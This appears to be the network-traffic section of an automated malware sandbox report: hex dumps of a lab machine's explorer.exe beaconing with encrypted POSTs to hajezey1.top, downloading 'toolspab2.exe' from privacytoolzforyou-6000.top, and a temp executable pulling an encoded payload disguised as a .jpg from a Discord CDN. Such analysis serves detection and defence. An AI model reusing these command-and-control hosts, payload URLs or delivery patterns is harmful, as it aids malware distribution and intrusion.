Oct 29, 2021 20:11:25.089848995 CEST	14662	IN	Data Raw: 00 00 00 00 00 40 00 10 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: @B
Oct 29, 2021 20:11:25.089875937 CEST	14664	IN	Data Raw: e8 42 1c 09 00 83 ec 0c 85 c0 89 c5 0f 85 5a ff ff ff 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 21 1c 09 00 83 ec 0c 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 fa 1b 09 00 83 ec 0c 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 73 fc Data Ascii: BZ\|$D$4$!\|$D$4$\|$D$4$s\|$D$4$'aT$$tL$(D$ M&T$T$U=at9$a`aQtD$
Oct 29, 2021 20:11:25.089901924 CEST	14665	IN	Data Raw: 04 24 ff d2 c9 c3 31 c0 c3 55 31 c0 ba 01 00 00 00 89 e5 83 ec 10 dd 45 08 dd 5d f0 dd 45 f0 dd 5d f8 dd 45 f0 dd 45 f8 c9 df e9 dd d8 0f 9a c0 0f 45 c2 c3 85 c0 74 4d 0f b6 08 80 b9 60 a4 ea 61 00 89 ca 79 3f 55 80 f9 5b b1 5d 0f 44 d1 b9 01 00 Data Ascii: $1U1E]E]EEEtM`ay?U[]DWVS~8u:TuT0A\0AF[8^_]UWVS1<`a`a)uCu[^_]UEUu1t]]UWVMSU}u1

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.5	49757	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:10:11.896691084 CEST	1173	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gurxx.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 347 Host: hajezey1.top
Oct 29, 2021 20:10:11.896711111 CEST	1173	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 9e 66 5d 02 c8 a1 c1 64 3a 85 ae 17 Data Ascii: Mw:xGcDATwmwu$f]d:=n=a)]q_L{:~h?+b^:J]DO%A^BVpg:k"q?}5+.T-H~5lG6FvvE0>bKd\|epHM
Oct 29, 2021 20:10:11.975368977 CEST	1174	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:10:11 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 95 4f 11 6a 11 e9 b2 83 bd a6 0b a2 13 cc 7b b8 43 12 c2 55 a1 b9 67 f4 25 45 51 b8 f6 cb 41 e1 0e 88 16 95 e1 63 da 7d b3 ef d2 01 79 e4 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OOj{CUg%EQAc}yc0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.5	49758	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:10:12.100107908 CEST	1174	OUT	GET /downloads/toolspab2.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: privacytoolzforyou-6000.top
Oct 29, 2021 20:10:12.234684944 CEST	1176	IN	HTTP/1.1 200 OK Date: Fri, 29 Oct 2021 18:10:12 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38 Last-Modified: Fri, 29 Oct 2021 18:10:01 GMT ETag: "54000-5cf81bc649add" Accept-Ranges: bytes Content-Length: 344064 Connection: close Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 07 15 19 94 43 74 77 c7 43 74 77 c7 43 74 77 c7 2c 02 dc c7 6e 74 77 c7 2c 02 e9 c7 61 74 77 c7 2c 02 dd c7 3c 74 77 c7 4a 0c e4 c7 44 74 77 c7 43 74 76 c7 3c 74 77 c7 2c 02 d8 c7 42 74 77 c7 2c 02 ed c7 42 74 77 c7 2c 02 ea c7 42 74 77 c7 52 69 63 68 43 74 77 c7 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 36 ca 8e 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 be 03 00 00 c4 70 02 00 00 00 00 40 c3 01 00 00 10 00 00 00 d0 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 74 02 00 04 00 00 31 96 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 c1 03 00 50 00 00 00 00 50 73 02 a8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 73 02 3c 1b 00 00 30 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 b8 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 dc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d0 bc 03 00 00 10 00 00 00 be 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 a4 69 6f 02 00 d0 03 00 00 16 00 00 00 c2 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6c 75 66 75 6c 61 63 e5 02 00 00 00 40 73 02 00 04 00 00 00 d8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 a8 3f 00 00 00 50 73 02 00 40 00 00 00 dc 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 1c 22 01 00 00 90 73 02 00 24 01 00 00 1c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CtwCtwCtw,ntw,atw,<twJDtwCtv<tw,Btw,Btw,BtwRichCtwPEL6`p@@t1PPs?s<0@.text `.dataio@.lufulac@s@.rsrc?Ps@@@.reloc"s$@B
Oct 29, 2021 20:10:12.234714985 CEST	1177	IN	Data Raw: c0 c3 03 00 dc c3 03 00 ea c3 03 00 f6 c3 03 00 02 c4 03 00 1a c4 03 00 38 c4 03 00 52 c4 03 00 64 c4 03 00 80 c4 03 00 98 c4 03 00 a6 c4 03 00 ba c4 03 00 c8 c4 03 00 e2 c4 03 00 f6 c4 03 00 06 c5 03 00 22 c5 03 00 32 c5 03 00 44 c5 03 00 5c c5 Data Ascii: 8Rd"2D\p 6FZj\|"8Pd 2@~
Oct 29, 2021 20:10:12.234725952 CEST	1178	IN	Data Raw: 64 00 75 00 72 00 69 00 6e 00 67 00 20 00 6e 00 61 00 74 00 69 00 76 00 65 00 20 00 63 00 6f 00 64 00 65 00 20 00 69 00 6e 00 69 00 74 00 69 00 61 00 6c 00 69 00 7a 00 61 00 74 00 69 00 6f 00 6e 00 0a 00 54 00 68 00 69 00 73 00 20 00 69 00 6e 00 Data Ascii: during native code initializationThis indicates a bug in your application. It is most likely the result of calling an MSI
Oct 29, 2021 20:10:12.234739065 CEST	1180	IN	Data Raw: 00 00 00 00 52 00 36 00 30 00 31 00 38 00 0d 00 0a 00 2d 00 20 00 75 00 6e 00 65 00 78 00 70 00 65 00 63 00 74 00 65 00 64 00 20 00 68 00 65 00 61 00 70 00 20 00 65 00 72 00 72 00 6f 00 72 00 0d 00 0a 00 00 00 00 00 00 00 00 00 52 00 36 00 30 00 Data Ascii: R6018- unexpected heap errorR6017- unexpected multithread lock errorR6016- not enough space for thread
Oct 29, 2021 20:10:12.234756947 CEST	1181	IN	Data Raw: 6d 00 65 00 2c 00 20 00 70 00 72 00 6f 00 67 00 6e 00 61 00 6d 00 65 00 5f 00 73 00 69 00 7a 00 65 00 2c 00 20 00 4c 00 22 00 3c 00 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 6e 00 61 00 6d 00 65 00 20 00 75 00 6e 00 6b 00 6e 00 6f 00 77 00 Data Ascii: me, progname_size, L"<program name unknown>")Runtime Error!Program: wcscpy_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[
Oct 29, 2021 20:10:12.234769106 CEST	1183	IN	Data Raw: 00 00 00 00 00 42 e6 3f 00 00 00 00 00 06 e6 3f 00 00 00 00 00 06 e6 3f 00 00 00 00 00 ca e5 3f 00 00 00 00 00 ca e5 3f 00 00 00 00 00 8e e5 3f 00 00 00 00 00 8e e5 3f 00 00 00 00 00 56 e5 3f 00 00 00 00 00 56 e5 3f 00 00 00 00 00 1e e5 3f 00 00 Data Ascii: B???????V?V???????z?z?F?F?????????R?R?$?
Oct 29, 2021 20:10:12.234790087 CEST	1184	IN	Data Raw: 0b ba b6 9d e1 3f 68 a2 a4 85 58 67 2b 3d 00 f8 6f 67 df e6 e1 3f aa 83 b9 81 ba 58 1a 3d 00 bc be d8 b0 30 e2 3f 7b 66 48 6e 06 fc 12 3d 00 3c c9 1e 9e 77 e2 3f 79 9b 35 73 33 52 36 3d 00 1c 84 f9 29 bf e2 3f ec b7 d3 61 38 8a fd 3c 00 0c 4f 34 Data Ascii: ?hXg+=og?X=0?{fHn=<w?y5s3R6=)?a8<O4W?4bV0=L?4@=@?X4=Tk?>_(=?o=@[c?,=$4b?dO"=lx?#608=&m?h"0=l?n6{<9[P
Oct 29, 2021 20:10:12.234811068 CEST	1185	IN	Data Raw: 2d ee bb 3f ad 16 8d 58 5b 46 b4 3c 00 06 c1 2b 90 2e bc 3f 58 8e 20 15 6b 6e e0 3c 00 45 90 d9 f4 6e bc 3f db 54 a9 28 8d 2b e5 3c 00 c6 de 55 5b af bc 3f d6 89 1b d4 06 9c e4 3c 00 27 e7 a4 c3 ef bc 3f 6a 75 21 34 b8 95 a9 3c 00 16 e5 ca 2d 30 Data Ascii: -?X[F<+.?X kn<En?T(+<U[?<'?ju!4<-0?<Qp?<?{<qw?_W<C1?'<I\r?Dc<s>?<w*I?n'$<23?z7<[>t?V-Ai<
Oct 29, 2021 20:10:12.234834909 CEST	1187	IN	Data Raw: 09 3d 00 88 5d c6 b0 13 d1 3f 01 96 a0 9d 36 87 0d 3d 00 6f da 4a 13 56 d1 3f 4a 8e f3 20 b2 62 05 3d 00 27 34 f4 88 98 d1 3f 2f b5 90 74 de 3e e1 3c 00 77 ed 1a 12 db d1 3f 61 eb 60 cc d6 d7 f8 3c 00 a3 5f 18 af 1d d2 3f 1f 61 dd 09 ae 65 07 3d Data Ascii: =]?6=oJV?J b='4?/t><w?a`<_?ae=F``?/f=#&?5SmT4<W?Rz< (?vY<k?pY.=y?8'<KuC?j<{=2<5?d=x?"a=@ic?%[9=
Oct 29, 2021 20:10:12.234858036 CEST	1188	IN	Data Raw: 05 f1 6f 50 eb 40 14 3d 00 b0 da 59 ea 15 e8 3f e2 7f b1 cf bf 03 09 3d 00 07 01 84 0c 6e e8 3f 75 cd d0 98 3f b3 1b 3d 00 25 92 6b 19 c7 e8 3f 5a 45 4d 2d 27 5e 10 3d 00 10 44 54 1b 21 e9 3f 3a 5a c2 ca 6e 3d 1a 3d 00 b7 f5 30 1d 7c e9 3f 07 d0 Data Ascii: oP@=Y?=n?u?=%k?ZEM-'^=DT!?:Zn==0\|?O=*?m}I{=eP5?+}ZI=Q?^oc;<'?u/r<S?i1=q?/={ss?VV&=#k~?[<?vB<6#M?
Oct 29, 2021 20:10:12.288600922 CEST	1190	IN	Data Raw: 93 11 5c 25 ef 3f 66 2c ce f3 91 21 ef 3f ea b0 b8 25 bf 1d ef 3f 4e 0e 1f a4 e3 19 ef 3f 24 08 c4 6b ff 15 ef 3f 80 6f 61 79 12 12 ef 3f 2a 14 a8 c9 1c 0e ef 3f 9c b5 3f 59 1e 0a ef 3f cd f3 c6 24 17 06 ef 3f c2 3f d3 28 07 02 ef 3f ee cb f0 61 Data Ascii: \%?f,!?%?N?$k?oay?*??Y?$??(?a?9y?99R?%R?F?@I?j T?0<?2j?p~?,L?@_o?7?'?VG?D<xZu?`\@j?)]Gq`?LcU?JupJ?CY

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.5	49759	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:10:15.888807058 CEST	1531	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ktkcvjuue.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 249 Host: hajezey1.top
Oct 29, 2021 20:10:15.888838053 CEST	1531	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 84 de 9e 66 5d 02 c9 a1 c1 64 37 8b db 15 Data Ascii: Mw:xGcDATwmwu$f]d7Se9U"xnD9N0WORd/eFoV9C+9'z~YUM:N9ixr58GlrJo&KV^cTl16dFdW+ E^
Oct 29, 2021 20:10:15.965898037 CEST	1532	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:10:15 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.5	49760	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:10:16.221129894 CEST	1533	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://adlotmsqn.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 200 Host: hajezey1.top
Oct 29, 2021 20:10:16.221157074 CEST	1533	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 9f 66 5d 02 c8 a1 c1 64 2c a9 d9 6f Data Ascii: Mw:xGcDATwmwu$f]d,o=V{0\WtMQ\*'bax=P30H0lpeXu%43FEs3E^W7uQ\|.t-Sr0U9{w
Oct 29, 2021 20:10:16.300287008 CEST	1533	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:10:16 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 63 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 93 d6 10 49 3a 40 a8 e8 dd e1 fd 5f f7 4d 91 71 b2 42 4a 84 4b f4 f1 2c 89 0d 0a 30 0d 0a 0d 0a Data Ascii: 2cI:82OI:@_MqBJK,0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49804	162.159.130.233	443	C:\Users\user\AppData\Local\Temp\66A4.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-29 18:10:39 UTC	0	OUT	GET /attachments/893177342426509335/903575517888925756/6D9E3C88.jpg HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive
2021-10-29 18:10:39 UTC	0	IN	HTTP/1.1 200 OK Date: Fri, 29 Oct 2021 18:10:39 GMT Content-Type: image/jpeg Content-Length: 1023400 Connection: close CF-Ray: 6a5e5ca4fda75c68-FRA Accept-Ranges: bytes Age: 31399 Cache-Control: public, max-age=31536000 ETag: "4c1a9946a2a50a9bee099f80736b83cb" Expires: Sat, 29 Oct 2022 18:10:39 GMT Last-Modified: Fri, 29 Oct 2021 09:26:31 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Cf-Bgj: h2pri Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1635499591138366 x-goog-hash: crc32c=ewuz5A== x-goog-hash: md5=TBqZRqKlCpvuCZ+Ac2uDyw== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 1023400 X-GUploader-UploadID: ADPycdvJxlr9khbKEXfSQ9n_bxglLL7dSGVIxF6rk63UtNA6boJtNKCUIT3dV9e0Gr4n6Y4UdNwOh6zGJyRPl1vLRno X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=DlsFNUsyIF0H1rPQgN6ZvTzkO5hepsvpeF3qoIocUsGTuVCz%2B8XSYCYRFaBIhkE0oGmV7BtF5VRoRngAzGN9KbuyRD7gOJVA0OA96u5%2BK8UwT1GV12wLVG6%2Bbwwl%2B1d8v9GSnA%3D%3D"}],"group":"cf-nel","max_age":604800}
2021-10-29 18:10:39 UTC	1	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare
2021-10-29 18:10:39 UTC	1	IN	Data Raw: 4f 71 4a 70 6d 57 44 45 58 4d 2d 45 45 20 4d 4f 20 71 6d 6d 20 4f 20 70 20 4f 20 4f 20 4f 20 6d 20 4f 20 4f 20 4f 20 4a 57 57 20 4a 57 57 20 4f 20 4f 20 71 58 6d 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 44 6d 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 71 4a 58 20 4f 20 4f 20 4f 20 71 6d 20 70 71 20 71 58 44 20 71 6d 20 4f 20 71 58 4f 20 4d 20 4a 4f 57 20 70 70 20 71 58 6d 20 71 20 45 44 20 4a 4f 57 20 70 70 20 58 6d 20 71 4f 6d 20 71 4f 57 20 71 71 57 20 70 4a 20 71 71 4a 20 71 71 6d 20 71 71 71 20 71 4f 70 20 71 71 6d 20 4d 45 20 71 4f 4d 20 70 4a 20 4d 4d 20 4d 45 20 71 71 4f 20 71 Data Ascii: OqJpmWDEXM-EE MO qmm O p O O O m O O O JWW JWW O O qXm O O O O O O O Dm O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O O qJX O O O qm pq qXD qm O qXO M JOW pp qXm q ED JOW pp Xm qOm qOW qqW pJ qqJ qqm qqq qOp qqm ME qOM pJ MM ME qqO q
2021-10-29 18:10:39 UTC	2	IN	Data Raw: 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 4a 57 20 6d 4f 20 4a 4a 4d 20 71 4f 4d 20 71 71 57 20 57 4f 20 6d 58 20 57 4f 20 57 4f 20 58 6d 20 71 71 6d 20 71 71 45 20 71 6d 44 20 71 6d 70 20 57 4f 20 6d 58 20 71 70 58 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 71 4a 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 45 44 20 57 4f 20 57 6d 20 58 6d 20 71 4a 6d 20 Data Ascii: O O O O O O O O O O O O O O JW mO JJM qOM qqW WO mX WO WO Xm qqm qqE qmD qmp WO mX qpX Wm Xm qqm qqE qOM qqJ WO qqJ WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO qED WO Wm Xm qJm
2021-10-29 18:10:39 UTC	4	IN	Data Raw: 20 57 71 20 57 6d 20 58 6d 20 71 71 58 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 71 58 20 57 6d 20 58 6d 20 71 58 20 4d 71 20 70 71 20 70 20 44 6d 20 58 70 20 57 4f 20 57 6d 20 58 6d 20 71 45 58 20 71 71 58 20 71 4f 4d 20 71 71 4a 20 57 4f 20 4a 6d 4f 20 57 71 20 57 6d 20 58 6d 20 71 71 58 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 71 4d 4f 20 6d 4d 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 57 70 20 71 4f 4d 20 71 71 4a 20 71 71 6d 20 70 4f 20 44 6d 20 58 70 20 57 44 20 4a 4d 20 4a 4a 20 71 4f 4d 20 71 71 4a 20 44 4a 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 6d Data Ascii: Wq Wm Xm qqX qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX qX Wm Xm qX Mq pq p Dm Xp WO Wm Xm qEX qqX qOM qqJ WO JmO Wq Wm Xm qqX qqE qOM qqJ qMO mM WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm Wp qOM qqJ qqm pO Dm Xp WD JM JJ qOM qqJ DJ mX WO Wm Xm qm
2021-10-29 18:10:39 UTC	5	IN	Data Raw: 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 Data Ascii: m qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm q
